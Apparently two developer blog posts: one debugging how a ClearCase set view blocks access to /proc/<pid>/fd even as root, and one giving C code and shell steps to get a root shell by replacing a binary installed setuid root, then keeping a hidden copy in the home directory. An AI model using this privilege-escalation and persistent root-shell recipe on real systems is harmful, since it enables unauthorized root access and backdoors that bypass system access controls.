clearcase vs. /proc//fd/. clearcase within setview looses.

Here’s a curious clash of virtual filesystems. Am trying to access my own processes’ /proc/-pid-/fd directory to investigate a file descriptor leak, and am unable to do so:

$  ps -ef | grep db2sysc | grep peeter | grep -v grep | tail -1
peeterj   9318  9316 99 12:09 ?        01:03:14 db2sysc 0
$  cd /proc/9318/fd
bash: cd: /proc/9318/fd: Permission denied
$  cd /proc/9318
$  ls
/bin/ls: cannot read symbolic link cwd: Permission denied
/bin/ls: cannot read symbolic link root: Permission denied
/bin/ls: cannot read symbolic link exe: Permission denied
attr  cmdline  cwd      exe  loginuid     maps  mounts     oom_adj    root     smaps  statm   task
auxv  cpuset   environ  fd   mapped_base  mem   numa_maps  oom_score  seccomp  stat   status  wchan

I'd actually seen this before because we have code in our product that tries to access /proc/-pid-/stat stuff, and it doesn't work properly (sometimes and mysteriously).  Even odder, I can't even get at this as root

# ps -o pid -o ruid -o euid -o suid -o fsuid -o fname -a | grep $$
21861     0     0     0     0 sh
# cd /proc/9318/fd
sh: cd: /proc/9318/fd: Permission denied
# cd /proc/9318
# ls
attr  cmdline  cwd      exe  loginuid     maps  mounts     oom_adj    root     smaps  statm   task
auxv  cpuset   environ  fd   mapped_base  mem   numa_maps  oom_score  seccomp  stat   status  wchan
# ls -l
ls: cannot read symbolic link cwd: Permission denied
ls: cannot read symbolic link root: Permission denied
ls: cannot read symbolic link exe: Permission denied
total 0
dr-xr-xr-x   2 peeterj pdxdb2 0 2009-10-27 12:11 attr
-r--------   1 peeterj pdxdb2 0 2009-10-27 12:10 auxv

Something funny is happening in the kernel, since my session does appear to have sufficient root-ish behaviour (even the linux filesystem fsuid is set right). Turns out that this is some kind of clash between the clearcase version control virtual filesystem and the /proc virtual filesystem. When I am in my view, even as root:

# /usr/atria/bin/cleartool pwv
Working directory view: ** NONE **
Set view: peeterj_o26
#

I have no access to much of /proc/, but running as any old user when there is no trouble

$  /usr/atria/bin/cleartool pwv
Working directory view: ** NONE **
Set view: ** NONE **
$  pwd
/proc/9318/fd

What a bizarre quirk! Glad to have this figured out … now back to the file descriptor leak.

How to get a root shell if you can modify code that runs setuid root.

A tip for fellow developers in the unnamed software development project I work on.

I am often suprised that it isn’t 100% general knowledge in the how to make yourself a root shell if you have permission to modify code that is “installed” setuid root. It is as simple as executing code like the following, once giving yourself permission to do so:

/* myRootShellCode.c */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(void)
{
   setreuid(0, 0);
   setregid(0, 0); /* a convience since some system stuff likes gid=0
                          * better than the system group. */

   putenv("PS1=# ") ;
   execl("/bin/sh", "sh", "-p", NULL);

   return 1 ;
}

Build this, and place it in the path that your setuid-root program will be copied from:

cd /vbs/engn/XXe
cc -o XXXstart ./myRootShellCode.c  # XXXstart changed to protect the innocent

Now run your “install-script” and you have root. You’ll want to save this executable for convienience (unless you are worried about it being abused;) That part goes something like:

$ XXXstart
# mv XXXstart ~/.funWithRoot
# exit

You’ll want to undo your change to XXXstart so you can debug the code of interest (possibly XXXstart itself).